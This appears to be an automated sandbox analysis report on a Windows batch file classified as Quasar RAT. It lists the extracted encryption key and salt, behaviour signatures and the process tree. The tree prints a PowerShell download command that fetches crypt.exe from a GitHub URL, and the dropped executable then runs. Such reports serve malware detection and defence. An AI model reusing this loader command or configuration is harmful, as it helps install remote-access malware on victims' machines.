Analysis
- user interaction
yes - max time kernel
58s - max time network
62s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
20/08/2026, 03:10
General
- Target actualratlocalhost.bat
- Size 276B
- Sample260820-dpbnfabb63
- SHA256 013cba85c0eabdd038bccf32e7aac9eb59322ee115a32a1f594fd9776466bc7d
Malware Config
Extracted
-
quasar
-
encryption_key
F3752C59B2D3B587D1C5FB8FB57F0225554558A4
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Signatures
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 1 IoCs
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of SetThreadContext 3 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\actualratlocalhost.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri 'https://github.com/ndoug2081-stack/ndoug2081-stack/raw/refs/heads/main/crypt.exe' -OutFile 'C:\ProgramData\crypt.exe'"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\ProgramData\crypt.exe"C:\ProgramData\crypt.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
crypt.exe
__PSScriptPolicyTest_nriqfdly.kaq.ps1
ke050B85E0.tmp
memory/1224-32-0x0000018C4E200000-0x0000018C4E234000-memory.dmp
memory/1224-30-0x0000018C66D30000-0x0000018C66E24000-memory.dmp
memory/1224-35-0x0000018C66B20000-0x0000018C66B30000-memory.dmp
memory/1224-34-0x0000018C66B20000-0x0000018C66B30000-memory.dmp
memory/1224-33-0x0000018C4E480000-0x0000018C4E4B8000-memory.dmp
memory/1224-31-0x0000018C66B20000-0x0000018C66B30000-memory.dmp
memory/1224-36-0x0000018C66B20000-0x0000018C66B30000-memory.dmp
memory/1224-29-0x0000018C66B20000-0x0000018C66B30000-memory.dmp
memory/1224-25-0x0000000140000000-0x0000000140002000-memory.dmp
memory/1224-26-0x0000018C4DF70000-0x0000018C4E06A000-memory.dmp
memory/1224-27-0x0000018C4DF70000-0x0000018C4E06A000-memory.dmp
memory/1224-37-0x0000018C66B20000-0x0000018C66B30000-memory.dmp
memory/3696-0-0x0000027689040000-0x0000027689050000-memory.dmp
memory/3696-11-0x0000027689040000-0x0000027689050000-memory.dmp
memory/3696-9-0x00000276A3780000-0x00000276A37A2000-memory.dmp
memory/3696-1-0x0000027689040000-0x0000027689050000-memory.dmp
memory/3696-17-0x00000276A37B0000-0x00000276A39CC000-memory.dmp
memory/3696-12-0x00000276A37B0000-0x00000276A39CC000-memory.dmp
memory/3696-10-0x0000027689040000-0x0000027689050000-memory.dmp
memory/3940-21-0x0000024459D50000-0x0000024459D51000-memory.dmp
memory/3940-28-0x00007FF6B5990000-0x00007FF6B59A1000-memory.dmp